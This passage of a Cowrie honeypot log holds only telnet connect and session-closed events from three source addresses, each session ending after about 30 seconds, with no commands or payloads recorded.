{"eventid":"cowrie.session.closed","duration":30.76028823852539,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.044610Z","src_ip":"162.241.141.97","session":"1c03395d149a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.201510429382324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.163474Z","src_ip":"162.241.141.97","session":"28410242bb53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33164,"dst_ip":"159.203.135.109","dst_port":23,"session":"12fb03fd2cab","protocol":"telnet","message":"New connection: 192.119.108.58:33164 (159.203.135.109:23) [session: 12fb03fd2cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.168700Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":37674,"dst_ip":"159.203.135.109","dst_port":23,"session":"c74a2d905d9f","protocol":"telnet","message":"New connection: 162.241.141.97:37674 (159.203.135.109:23) [session: c74a2d905d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.187800Z"}
{"eventid":"cowrie.session.closed","duration":30.381260871887207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.197805Z","src_ip":"162.241.141.97","session":"0c5dcdc8ba04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739790201187134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.258306Z","src_ip":"162.241.141.97","session":"3c46a4193743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":37992,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c8b96a4b75a","protocol":"telnet","message":"New connection: 162.241.141.97:37992 (159.203.135.109:23) [session: 1c8b96a4b75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.315425Z"}
{"eventid":"cowrie.session.closed","duration":30.53684949874878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.361404Z","src_ip":"162.241.141.97","session":"cbbe8d9d8ff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33398,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a5f1a84ea8a","protocol":"telnet","message":"New connection: 192.119.108.58:33398 (159.203.135.109:23) [session: 4a5f1a84ea8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.424119Z"}
{"eventid":"cowrie.session.closed","duration":31.638604640960693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.646743Z","src_ip":"192.119.108.58","session":"3c9e6c4c9e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33654,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac20cb63d301","protocol":"telnet","message":"New connection: 192.119.108.58:33654 (159.203.135.109:23) [session: ac20cb63d301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.822130Z"}
{"eventid":"cowrie.session.closed","duration":31.61162567138672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.855441Z","src_ip":"162.241.141.97","session":"c72ec9b168e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.169947862625122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:45.875544Z","src_ip":"162.241.141.97","session":"1f5b8b43cbc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3561110496521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:46.060655Z","src_ip":"192.119.108.58","session":"f782634c0e27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999258995056152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:46.100353Z","src_ip":"162.241.141.97","session":"e086f29eb1a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.789113521575928,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:46.133465Z","src_ip":"162.241.141.97","session":"6e6827ab85d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34064,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7f4c2f0eff1","protocol":"telnet","message":"New connection: 192.119.108.58:34064 (159.203.135.109:23) [session: a7f4c2f0eff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:46.256465Z"}
{"eventid":"cowrie.session.closed","duration":31.186410903930664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:46.491827Z","src_ip":"162.241.141.97","session":"3c2d6eacc2d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.893611669540405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:46.987314Z","src_ip":"162.241.141.97","session":"bf1cf361ad5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161985397338867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:47.319819Z","src_ip":"208.115.200.90","session":"d4bf3edeb687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35588,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f8c7e8144b3","protocol":"telnet","message":"New connection: 192.119.108.58:35588 (159.203.135.109:23) [session: 0f8c7e8144b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:48.252038Z"}
{"eventid":"cowrie.session.closed","duration":30.35704278945923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:48.284553Z","src_ip":"192.119.108.58","session":"ed09120ce110","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84468722343445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:48.702319Z","src_ip":"192.119.108.58","session":"24333b55558a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35742,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a06228f1c8f","protocol":"telnet","message":"New connection: 192.119.108.58:35742 (159.203.135.109:23) [session: 0a06228f1c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:49.507840Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42346,"dst_ip":"159.203.135.109","dst_port":23,"session":"f968b4cb6cd2","protocol":"telnet","message":"New connection: 162.241.141.97:42346 (159.203.135.109:23) [session: f968b4cb6cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:49.600360Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42448,"dst_ip":"159.203.135.109","dst_port":23,"session":"27dff5cd0c77","protocol":"telnet","message":"New connection: 162.241.141.97:42448 (159.203.135.109:23) [session: 27dff5cd0c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:49.689184Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42778,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea4f31058e4b","protocol":"telnet","message":"New connection: 162.241.141.97:42778 (159.203.135.109:23) [session: ea4f31058e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:49.892606Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":43908,"dst_ip":"159.203.135.109","dst_port":23,"session":"a53cf2445c50","protocol":"telnet","message":"New connection: 162.241.141.97:43908 (159.203.135.109:23) [session: a53cf2445c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:50.480058Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38272,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5b76aaa90fa","protocol":"telnet","message":"New connection: 208.115.200.90:38272 (10.17.0.5:23) [session: c5b76aaa90fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:50.525131Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44408,"dst_ip":"159.203.135.109","dst_port":23,"session":"f311d700901b","protocol":"telnet","message":"New connection: 162.241.141.97:44408 (159.203.135.109:23) [session: f311d700901b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:50.705221Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44794,"dst_ip":"159.203.135.109","dst_port":23,"session":"870fbe258983","protocol":"telnet","message":"New connection: 162.241.141.97:44794 (159.203.135.109:23) [session: 870fbe258983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:50.852604Z"}
{"eventid":"cowrie.session.closed","duration":30.132492065429688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:51.074298Z","src_ip":"162.241.141.97","session":"efa9070c0543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":45358,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5dad472e9e2","protocol":"telnet","message":"New connection: 162.241.141.97:45358 (159.203.135.109:23) [session: a5dad472e9e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:51.085176Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":45702,"dst_ip":"159.203.135.109","dst_port":23,"session":"c01ac2d83dbb","protocol":"telnet","message":"New connection: 162.241.141.97:45702 (159.203.135.109:23) [session: c01ac2d83dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:51.238106Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":46088,"dst_ip":"159.203.135.109","dst_port":23,"session":"8682334dc646","protocol":"telnet","message":"New connection: 162.241.141.97:46088 (159.203.135.109:23) [session: 8682334dc646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:51.402088Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":46150,"dst_ip":"159.203.135.109","dst_port":23,"session":"860a0a9be567","protocol":"telnet","message":"New connection: 162.241.141.97:46150 (159.203.135.109:23) [session: 860a0a9be567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:51.420472Z"}
{"eventid":"cowrie.session.closed","duration":31.46345090866089,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:51.486609Z","src_ip":"192.119.108.58","session":"2b8ae8582439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34191584587097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:52.067027Z","src_ip":"192.119.108.58","session":"09975d266ab7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906001567840576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:52.081773Z","src_ip":"162.241.141.97","session":"ae6335f404ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38286,"dst_ip":"10.17.0.5","dst_port":23,"session":"22ba582b7b65","protocol":"telnet","message":"New connection: 208.115.200.90:38286 (10.17.0.5:23) [session: 22ba582b7b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:52.409462Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38958,"dst_ip":"159.203.135.109","dst_port":23,"session":"a28069e91c07","protocol":"telnet","message":"New connection: 192.119.108.58:38958 (159.203.135.109:23) [session: a28069e91c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:52.538957Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38170,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c0679743591","protocol":"telnet","message":"New connection: 192.119.108.58:38170 (159.203.135.109:23) [session: 7c0679743591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:52.616833Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39030,"dst_ip":"159.203.135.109","dst_port":23,"session":"17daa7573fdf","protocol":"telnet","message":"New connection: 192.119.108.58:39030 (159.203.135.109:23) [session: 17daa7573fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:52.621056Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36722,"dst_ip":"159.203.135.109","dst_port":23,"session":"62969a2ed75f","protocol":"telnet","message":"New connection: 192.119.108.58:36722 (159.203.135.109:23) [session: 62969a2ed75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:52.860190Z"}
{"eventid":"cowrie.session.closed","duration":31.698258876800537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:52.865567Z","src_ip":"162.241.141.97","session":"5e857c3bc7ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595457315444946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:53.091318Z","src_ip":"192.119.108.58","session":"a5643f745547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.434807062149048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:53.108111Z","src_ip":"192.119.108.58","session":"ee2d5aaa72d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38290,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee62748b0d41","protocol":"telnet","message":"New connection: 208.115.200.90:38290 (10.17.0.5:23) [session: ee62748b0d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:53.185987Z"}
{"eventid":"cowrie.session.closed","duration":30.540960788726807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:54.099193Z","src_ip":"208.115.200.90","session":"5c75721d115f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.716918230056763,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:55.936761Z","src_ip":"208.115.200.90","session":"c798597d5c47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":51126,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f8ec264f2d0","protocol":"telnet","message":"New connection: 162.241.141.97:51126 (159.203.135.109:23) [session: 5f8ec264f2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.132800Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":51246,"dst_ip":"159.203.135.109","dst_port":23,"session":"f85d1dc914a3","protocol":"telnet","message":"New connection: 162.241.141.97:51246 (159.203.135.109:23) [session: f85d1dc914a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.192865Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":51262,"dst_ip":"159.203.135.109","dst_port":23,"session":"98d55f451401","protocol":"telnet","message":"New connection: 162.241.141.97:51262 (159.203.135.109:23) [session: 98d55f451401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.200306Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41552,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd0641c736b","protocol":"telnet","message":"New connection: 192.119.108.58:41552 (159.203.135.109:23) [session: cdd0641c736b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.237339Z"}
{"eventid":"cowrie.session.closed","duration":31.238935708999634,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.331348Z","src_ip":"208.115.200.90","session":"4fa9817e92cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87718963623047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.357189Z","src_ip":"192.119.108.58","session":"5a6206aaa3fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40946,"dst_ip":"159.203.135.109","dst_port":23,"session":"a21a920614ca","protocol":"telnet","message":"New connection: 192.119.108.58:40946 (159.203.135.109:23) [session: a21a920614ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.370191Z"}
{"eventid":"cowrie.session.closed","duration":31.211666345596313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.416028Z","src_ip":"208.115.200.90","session":"c1c4cb28e3fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81086039543152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.479108Z","src_ip":"208.115.200.90","session":"6d286f8ae610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52284,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b47e25ac2b0","protocol":"telnet","message":"New connection: 162.241.141.97:52284 (159.203.135.109:23) [session: 3b47e25ac2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.597066Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52918,"dst_ip":"159.203.135.109","dst_port":23,"session":"08f4b646758c","protocol":"telnet","message":"New connection: 162.241.141.97:52918 (159.203.135.109:23) [session: 08f4b646758c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.872809Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40658,"dst_ip":"10.17.0.5","dst_port":23,"session":"8787fba50fda","protocol":"telnet","message":"New connection: 208.115.200.90:40658 (10.17.0.5:23) [session: 8787fba50fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:56.892832Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41482,"dst_ip":"159.203.135.109","dst_port":23,"session":"54e488a461b0","protocol":"telnet","message":"New connection: 192.119.108.58:41482 (159.203.135.109:23) [session: 54e488a461b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:57.118683Z"}
{"eventid":"cowrie.session.closed","duration":31.188456296920776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:57.613107Z","src_ip":"162.241.141.97","session":"6fd17bf2528f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282097101211548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:57.777448Z","src_ip":"162.241.141.97","session":"f67218ae5b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40670,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3e9e4f3f61","protocol":"telnet","message":"New connection: 208.115.200.90:40670 (10.17.0.5:23) [session: af3e9e4f3f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:57.867044Z"}
{"eventid":"cowrie.session.closed","duration":31.884037733078003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:57.875944Z","src_ip":"162.241.141.97","session":"df6188e18123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856857538223267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:58.067947Z","src_ip":"162.241.141.97","session":"054d92500c89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.638715505599976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:58.200942Z","src_ip":"192.119.108.58","session":"352b655cac76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993831396102905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:58.228212Z","src_ip":"162.241.141.97","session":"c3c1b9ad634c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19535183906555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:58.297254Z","src_ip":"162.241.141.97","session":"c08dc92fa021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.621719360351562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:58.591920Z","src_ip":"162.241.141.97","session":"a2455fb1d0d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151297330856323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:58.674158Z","src_ip":"208.115.200.90","session":"e79c8ffffd63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.403337478637695,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:59.205068Z","src_ip":"192.119.108.58","session":"f8ea670e792b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.086554765701294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:59.393378Z","src_ip":"208.115.200.90","session":"9058156a4655","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08721423149109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:59.438540Z","src_ip":"192.119.108.58","session":"2212be84c4b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43078,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ce1339a69c","protocol":"telnet","message":"New connection: 192.119.108.58:43078 (159.203.135.109:23) [session: 55ce1339a69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:59.556298Z"}
{"eventid":"cowrie.session.closed","duration":30.834680795669556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:00.075135Z","src_ip":"162.241.141.97","session":"480c0c631e58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51490807533264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:00.296727Z","src_ip":"208.115.200.90","session":"99d6f43bf821","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44862,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3793dfde10b","protocol":"telnet","message":"New connection: 192.119.108.58:44862 (159.203.135.109:23) [session: f3793dfde10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:00.909706Z"}
{"eventid":"cowrie.session.closed","duration":30.24760365486145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:01.036128Z","src_ip":"192.119.108.58","session":"bc48852b0af8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.755507469177246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:01.189950Z","src_ip":"192.119.108.58","session":"7fac8c4fad2d","protocol":"telnet"}
